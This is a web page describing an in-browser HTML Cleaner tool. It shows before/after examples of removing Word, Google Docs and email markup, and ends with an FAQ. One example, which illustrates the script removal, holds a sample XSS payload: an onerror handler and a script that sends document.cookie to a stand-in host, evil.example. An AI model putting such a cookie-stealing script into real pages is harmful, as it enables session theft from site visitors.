Skip to content
Aarrange

HTML Cleaner

Paste from Word, Google Docs, an email or any HTML. Get clean HTML with real lists and no styles or scripts. Nothing leaves your browser.

Also: Word to HTML, HTML to Text

0
Size in
0
Size out
0
Removed
Input
Tab types a tab. Press Escape, then Tab, to leave the editor.
Result
The result shows here as you type.Try , or .
On this page

About the HTML Cleaner

Updated

The HTML Cleaner turns messy HTML into short, clean HTML. Paste text from Word or Google Docs, a newsletter from Outlook or Gmail, or code from an old web page. You get the headings, paragraphs, lists, links, tables and images, and none of the styles, fonts and hidden comments.

The tool finds where the HTML came from and fixes the junk that source adds. Word list paragraphs become real lists. Google Docs bold and italic stay, and its wrapper that makes the whole text bold goes. Links that pass through Google, Gmail or Outlook point straight to their address again. A file:/// image from Word cannot load on a web page, so the tool puts a marker such as [Image: Chart] in its place and tells you which images to upload.

It also removes code. <script>, every on* handler and every javascript: link go, whatever the options. The Changes view lists each thing the tool removed or changed, with a count and the lines.

There are no ads over the editor, no daily limit and no upload. A 5 MB Word export cleans in your browser in about 2 seconds.

The same tool, set up for other jobs: Word to HTML and HTML to Text. To indent HTML that is already clean, use the HTML Formatter. To check it against the HTML standard, use the HTML Validator.

How to use it

  1. Copy your text in Word or Google Docs and press Ctrl V (⌘V on a Mac) in the editor. The editor gets the HTML behind the text, not only the words. To get plain text instead, press Undo once. You can also open a .docx or .html file, or drop one on the editor. From a .docx, images come in with an empty src: upload them and set it.
  2. The HTML view shows the clean HTML at once. The tool finds where the HTML came from (Word, Google Docs, an email or a web page) and removes the junk that source adds. Press Clean (Alt C) to put the clean HTML in the editor; Undo puts your HTML back.
  3. Open Options to choose what to keep. Structure keeps headings, paragraphs, lists, links, tables, images, bold and italic, and drops every style, class, id, span and font. Structure + look and Light keep more. Toggles turn images, tables, redirect links, tracking pixels and the header row on or off.
  4. Switch views in the Result pane: HTML, Page (the result as a page), Changes (every change, with a count and the lines; a line number takes you there), Plain text, Markdown, Summary and Notes (each change and each thing to fix, by line). Things you must fix by hand, such as an image that points to a file on your PC, come first in Changes.
  5. Press Copy or Download in the Result pane. HTML, Plain text and Markdown each copy their own text. On Page, Changes, Summary and Notes, Copy and Download take the clean HTML.

Common junk, before and after

Word lists are paragraphs with a typed bullet

Word does not paste a list as a list. Each item is a paragraph with a bullet character, spaces and a hidden comment around them. Many cleaners leave the bullet in the text, or turn a numbered list into bullets. This tool reads the list id and level that Word writes, and builds a real <ul> or <ol>, nested the way it was.

Before
<p class=MsoListParagraphCxSpFirst style='mso-list:l0 level1 lfo1'>
<![if !supportLists]><span style='font-family:Symbol'>·<span
style='font:7.0pt "Times New Roman"'>&nbsp;&nbsp; </span></span>
<![endif]>Faster invoices<o:p></o:p></p>
<p class=MsoListParagraphCxSpLast style='mso-list:l0 level1 lfo1'>
<![if !supportLists]>·&nbsp;&nbsp; <![endif]>Fewer tickets<o:p></o:p></p>
After
<ul>
  <li>Faster invoices</li>
  <li>Fewer tickets</li>
</ul>

Google Docs bold lives in a style

Google Docs wraps the whole copy in a <b> with a docs-internal-guid id, and stores bold and italic as font-weight:700 and font-style:italic on spans. A cleaner that keeps the wrapper makes the whole document bold. One that drops styles first loses the real bold. This tool removes the wrapper and turns the styles into <strong> and <em> before it drops them. It also fixes the nested lists Docs writes: a <ul> placed straight in a <ul> moves into the list item above it, where HTML wants it.

Before
<b style="font-weight:normal;" id="docs-internal-guid-4f2a9c1e-7fff">
<p dir="ltr" style="line-height:1.38;margin-top:0pt;">
<span style="font-family:Arial;font-weight:400;">Please </span>
<span style="font-family:Arial;font-weight:700;">sign off</span>
<span style="font-family:Arial;font-style:italic;"> today</span></p></b>
After
<p>Please <strong>sign off</strong> <em>today</em></p>

Links that go through Google first

A link in a Google Doc points to google.com/url?q= with your address inside it. Gmail adds data-saferedirecturl, and Outlook wraps links in Safe Links. The tool takes the real address out and drops the rest. Turn this off under Options if you need the redirect.

Before
<a
  href="https://www.google.com/url?q=https://example.com/plan&amp;sa=D"
>launch plan</a>
After
<a href="https://example.com/plan">launch plan</a>

Email layout tables and tracking pixels

A newsletter is built from tables, <font> tags and bgcolor, and it ends with a 1 by 1 image that reports when you open it. The tool keeps the text and drops the layout. It also removes tracking pixels and utm_ parameters from links.

Before
<table width="600" bgcolor="#ffffff" cellpadding="0" role="presentation">
  <tr><td align="center"><font face="Arial" size="2">
    <p class="x_MsoNormal">Hi Sam, your order has shipped.</p>
  </font></td></tr>
</table>
<img src="https://t.example.com/open.gif" width="1" height="1">
After
<p>Hi Sam, your order has shipped.</p>

Scripts and event handlers

HTML from an unknown source can carry code. The tool always removes <script>, every on* handler such as onerror and onclick, and javascript: links. The Page view shows the result in a sandbox, so nothing you paste runs.

Before
<p>Q3 chart <img src="chart.png" alt="Q3 revenue" onerror="alert(1)"></p>
<script>fetch("https://evil.example/?c=" + document.cookie)</script>
After
<p>Q3 chart <img src="chart.png" alt="Q3 revenue"></p>

What clean HTML keeps

With Keep set to Structure, the output has only elements that carry meaning: h1 to h6, p, ul, ol, li, a, table, img, strong, em and a few more. Links keep href and title. Images keep src, alt, title and a width and height in pixels. A first table row that is all bold becomes a header row of <th> cells. A single &nbsp; becomes a plain space. A run becomes one &nbsp; and a space, so a gap stays. At the start and end of a line they go.

Images, tables, the header row, <strong> and <em> for <b> and <i>, redirect links, tracking and &nbsp; are each a toggle under Options. The tool remembers your choices.

Structure + look and Light

Structure + look keeps the same elements, plus the alignment of a block (center, right, justify) and text and background colors. Fonts, sizes and margins still go.

Light keeps your own classes, ids and plain styles, and removes only what Word, Google Docs and Outlook add: mso- styles, Mso classes, spans and <font> tags that set nothing, comments and Office tags. A <font> tag with a face, size or color stays. Use it when the HTML is your own and only the paste junk must go. Scripts, on* handlers and javascript: links go at every level.

HTML Cleaner resources

  • HTML Standard: Parsing HTML documentsThe rules every browser uses to read broken HTML. The cleaner reads your HTML by the same rules, so an unclosed tag ends where a browser ends it.
  • MDN: HTML elements referenceEvery HTML element and what it means. Clean HTML keeps the ones that carry meaning: headings, lists, links, tables and emphasis.
  • OWASP: Cross Site Scripting PreventionWhy script tags, on* handlers and javascript: links in pasted HTML are a risk, and how sites defend against them.
  • DOMPurifyThe HTML sanitizer most sites use before they show HTML from users. Use it on the server side of your own app too.
  • parse5The HTML parser this tool runs in your browser. It follows the HTML Standard to the letter, the same parser jsdom uses.
  • Microsoft: Word save formatsThe formats Word can save to, among them wdFormatFilteredHTML: the Web Page, Filtered option, with less Word markup.
  • MDN: ClipboardEvent.clipboardDataA copy from Word or Google Docs puts both plain text and text/html on the clipboard. This is how the tool reads the HTML.

HTML Cleaner FAQ

What does an HTML cleaner do?

It removes the markup that changes how text looks and keeps the markup that says what the text is. Headings, paragraphs, lists, links, tables, images, bold and italic stay. Inline styles, classes, ids, spans, <font> tags, Word and Google Docs junk and empty paragraphs go.

The result is short HTML that takes the look of the site you paste it into, and that a CMS, an email tool or a Markdown converter can read.

How can I convert a Word document to clean HTML?

Copy the text in Word and press Ctrl V (⌘V on a Mac) in the editor above. The editor gets the HTML that Word put on the clipboard, and the HTML view shows it cleaned. You can also open the .docx file with File, or drop it on the editor. The Word to HTML page is set up for this job.

How do I remove inline styles from HTML?

Paste the HTML; the HTML view shows it without styles. With Keep set to Structure (the default), every style, class and id attribute goes, and so does each <span> and <font> that only carried a style. Before it drops a style, the tool reads it: a span with font-weight:700 becomes <strong>, and one with font-style:italic becomes <em>.

Is an HTML cleaner the same as an HTML sanitizer?

No. A sanitizer such as DOMPurify makes HTML safe to show: it removes code and keeps the rest, styles too. A cleaner makes HTML simple: it removes the look and keeps the meaning.

This tool does both for the HTML you paste: it always removes <script>, on* handlers and javascript: links. If your own site shows HTML from users, still sanitize it on your side.

Why does HTML from Word or Google Docs have so much code?

Word writes the HTML so that it can open the file again with every detail: fonts, margins, list numbering and its own comments, on every paragraph. Google Docs puts a full style string on each piece of text. A paragraph of 20 words can carry 1,000 characters of markup. The Changes view shows what the tool removed and how often.

How do I check HTML online?

To check HTML against the HTML standard, use the HTML Validator. It lists each error with its line and a fix. To indent HTML so you can read it, use the HTML Formatter. This tool cleans HTML; it does not report errors. It reads broken HTML the way a browser does and writes it back well formed.

Is there a size limit?

There is no size limit. A text of 100,000 characters or more is cleaned in a background worker, so the page does not freeze while it works. A 5 MB Word export cleans in about 2 seconds on a laptop.

Is my HTML sent anywhere?

No. The HTML is cleaned in your browser, and a .docx file is read in your browser too. Nothing is uploaded, there are no ads over the editor and no daily limit. You can check this in your browser's network tab while you use it.